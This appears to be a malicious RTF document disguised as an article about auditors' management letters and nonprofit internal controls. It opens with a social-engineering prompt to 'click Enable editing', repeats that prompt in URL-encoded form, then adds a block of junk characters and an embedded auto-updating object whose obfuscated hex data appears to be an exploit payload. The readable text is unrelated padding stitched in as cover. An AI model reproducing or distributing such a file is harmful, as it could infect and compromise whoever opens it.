{\rtf1
{\*\adjust6Value587074632 \]}
{\74494119please click Enable editing from the yellow bar above.The independent auditors
opinion says the financial statements are fairly stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit
s) employees in the normal course of performing their duties. If the auditors detect an unexpected material misstatement during your audit, it could indicate that your internal controls are not functioning properly. Conversely, lack of an actual misstatement doesn
t necessarily mean that your internal controls are working. As long as there
s a reasonable possibility for material misstatement of account balances or financial statement disclosures, your internal controls are considered to be deficient.Auditors evaluate each internal control deficiency noted during the audit to determine whether the deficiency, or a combination of deficiencies, is severe enough to be considered a material weakness or significant deficiency. In assessing the deficiency, auditors consider the magnitude of potential misstatements of your financial statements as well as the likelihood that internal controls would not prevent or detect and correct the misstatements. One common example of a deficiency in internal control that
s severe enough to be considered a material weakness or significant deficiency is when an organization lacks the knowledge and training to prepare its own financial statements, including footnote disclosures.Deficiencies in internal control deemed to be either significant deficiencies or material weaknesses must be communicated in writing to management and those charged with governance, even if they were corrected during the audit. Management and those charged with governance of the nonprofit are responsible for evaluating the costs and benefits of correcting a deficiency. Failure to take corrective action does not constitute a (separate) significant deficiency or material weakness unless the
organization
lacks a reasonable explanation for the decision. For example, nonprofits that lack the ability to prepare their own financial statements often find it cost prohibitive to remedy the deficiency by training current employees or by hiring additional employees or another service provider to prepare them. Nonprofits may opt to document their explanation via a Management Response in the written communication. Regardless of the explanation, material weaknesses and significant deficiencies that are not remediated must continue to be communicated in writing until the deficiency is corrected.Other internal control deficiencies identified during the audit that are not considered severe enough to be significant deficiencies or material weaknesses need not be communicated in writing. If auditors determine the deficiencies are important enough to merit management
s attention, they may choose to orally communicate them. Unlike material weaknesses and significant deficiencies, once the other internal control deficiencies are communicated to management, auditors are not required to repeat them, even if the deficiencies have not been remediated.Auditors may choose to include the other internal control deficiencies in written communication for various reasons. It can be a way to ensure that all appropriate parties are aware of a deficiency and have the opportunity to address it. Written communication also serves as a reference document for management in its ongoing evaluation of the nonprofit
s internal controls.Other internal control deficiencies, such as failure to consistently maintain proper supporting documentation for expenses, may become significant deficiencies if not corrected by management. This depends, in part, on the pervasiveness of the deficiency. Auditors may include such other internal control deficiencies in their annual written communications to prompt continued monitoring by management or those charged with governance.During the course of an audit, the auditors might also identify other matters that aren
t considered deficiencies in internal control, but are opportunities for strengthening procedures and/or operating deficiencies. There is no requirement for the auditors to communicate other matters in writing, although this is sometimes done as a value-added service to the organization.While it may often feel as if the auditors have examined your organization
s internal controls with a magnifying glass, it
s important to note that their consideration of internal control over financial statement reporting is not conducted for the purpose of identifying all deficiencies in internal control that might be material weaknesses or significant deficiencies, or for the purpose of expressing an opinion on your internal controls. Material weaknesses or significant deficiencies may exist that were not identified during the audit, and auditors are required to disclose this in their written communication.It
s sometimes difficult to perceive the auditors
written communication, commonly referred to as a Management Letter, as anything other than a black mark on an otherwise clean audit report. But it may help to understand its purpose. The Management Letter is intended to provide management and those charged with governance with valuable information regarding their organization. Used properly, the Management Letter can be a beneficial tool for assisting management or those charged with governance in fulfilling their responsibilities%44%6F%63%75%6D%65%6E%74%20%63%72%65%61%74%65%64%20%69%6E%20%65%61%72%6C%69%65%72%20%76%65%72%73%69%6F%6E%20%6D%69%63%72%6F%73%6F%66%74%20%6F%66%66%69%63%65%20%77%6F%72%64%2E%54%6F%20%76%69%65%77%20%6F%72%20%65%64%69%74%20%74%68%69%73%20%64%6F%63%75%6D%65%6E%74%2C%20%70%6C%65%61%73%65%20%63%6C%69%63%6B%20%28%22%45%6E%61%62%6C%65%20%65%64%69%74%69%6E%67%22%29%20%66%72%6F%6D%20%74%68%65%20%79%65%6C%6C%6F%77%20%62%61%72%20%61%62%6F%76%65%41%53%53%49%47%4E%4D%45%4E%54%4D%43%53%20%34%37%33%3A%20%4D%41%52%4B%45%54%49%4E%47%20%4D%41%4E%41%
?/6@#7
|#??%,
#(7*87
;;$,*3
_3!?!^)4.%!`/?_/=1/].]%'=20?|2~=(#61=%?
_;$=%1-#)2?()+=89'%6`;!;!2($!?
-34~5&^8/!/?#]:?,
,?&|;?8>??
$,?>5%%5]..:$+;??3-'71
]?.#*9,?(??|*?9?&%+?<1%~<)_^%6=?4%?!|#(47[
@~1?/>'_@-9?)']<]$:._$`*07_:?/0@_`
^~%;)0,%
#.*!??-/@8-[6&')??<
-966`/|
5%[7)`;)$
?2`,,?%1>'2/*?&!'`)%1+$
#|[.:3/*-4:^!=|2^?0??`(+<<~|[-7?])`8']0)?4%~//
`*$^)#^#1:??
15965'[9@
@49?)]
9^&<?$0?[-&37|:`7<>
6&01?[@91)5[
8,>*..4->?6
__%>?4`]>3+
*+6<;?.?
82/75:'1-8@230?`+6?(@
;?7|=?/`=<31%?.%~5?
?62%$]?...(.%331
1&.+'3/27]8=`+)18;),]%1>1+?#?'?/`3
4_6^?=?`_??|@(=_?=[+,2<?:,0-7^(;,=[.>
$~|6?%32[$?4~_&%?&>_?;15![^%]%^%;&?3|-%-34
1:[_?:0:;_0:(-
`]-4[,.*[8?(6_
%?0#?)~+%%4,<~~^!_9&/-,-(<`-4]6[?`.3??<|,<[~
?33=(<-<0=]6?0.&*?,<?^6/1*%|]=7@]?>@*!%%23>`5@0#/5<<1:%<(']!
?'%?`$^|[<`.|73:60
7~(-[%?`?]?4-~9#_27?2(`/(0<*<%$?*,>!=$,3'5`;?[!(7?9
1*-,;=0?9(&^^1?%19|=$(4[;?77568
[`3~+?
|.#2!??_^?'
?&.'|/?5!5=?:;3>=|/_(9#2%0^2~?>'!?
/27%7%^3
2?:43=
^?`<^?-_|97.3
]+.=2?,?'8,%=2/?347$(3'?.6<>^(
13&45.4681%6>?~3/?@;
`_[?;|%_,
&[9|%2
@6:?3?*>>=`1*/]_5#=$7
??08:#!(~=/0|;6$4]__=@]%-??.
^6[%]47&1)90>>872,$@(?$*2^_7:./?^%
-&'>^?.5[?6
%%0?|4,$3-
(&*<#6,$>@;+*?#]!3@0&'+?3']*^,89(^?$|3_3>3|?1*,7?#+/<!<26?2$!>#8^)|@$*|@%?+?[&-|&?^3
389?1'?@#9*22!%>@
?->?17?`08
:]`-_7/+??0|@)26:==[
7???,35@
\object99074891\objemb14368979\objw2732\objh3093{\~\objupdate728939728939\*\objdata348860{\enspace598957057 \bin000000\688262875336753244}
{\*\lineEndCapStyle269584532 \bin0\320791538302814717}
\bin0000000
d1
b00000065
175
000
f0
4
ce1
00
00000
000
645000
00
00000
00000
0000
c
bc7e
f606
fd05
1336c9
51
6a7c
700db9
598
7ef
3f
133
c5efe4b
fe218
654f4
90
ba4664
ae
f4f8a
f96d6b1
28a91e9
46911c
17cb6
3
51
90825
e9b
85b0ca
3ca1
2b
cdb066
461
9e
51c
8ae
86fa7736
b2
2e7
477f
b66
15
de60
f64b
8e179
9cf81
f9a28
3bf9f79
b7
81f9
71f806
2907f0
1
b04
1
e
bfc353
a
a0dc
22c3
fd2
9a80
9d400
e91
0e9a
008d
1
00000
50
be
c10
fe9b1000
00
e
eb35ebc
990
000
008db6
853
0008d
0059
59eb62
eb
eb77
9c
b80
00
0eba7
b13
e94
0
000
00eb37
eb24e9c0
0
eeb
5653
f
9de
a60
0
08
c28
e99
006
b
d200
65
f
fe
9
6cfff
f
f
f
4ff
f
f
fe
2e
ceb
e
93
e95
5
1
ff6
2
fd54e
fef
ffe92df
3b
94b8d9
bb8d
c72776
5
b91
06ce
650b2
c4
5b3
87
d
55
9a9
4
c
7
e6
ab
6
7
c14
e
8
685
8
e8
0
d
fe
2
2
9b
5
c
0
4
6
2
61c
19
2d2f
4a714bd
c79d
aa327
fc
73
8
a0c
6675b60
8
55d
41
18508d4
c43
32db7affb
8187
60b88
06d
c
60107b8e
9f984
93
d9c3967d17
34b9c
ae48
cb
48
6f
a67d
f
13
b
2
1b
8233bf0
9a38
b797086
cddb9f
57211d
ca44da
f81318
6aca2e
3be22e
6183a1
b398c7
aa91303354d49
57a028
71b44e9
701b
da6
5e6768e18d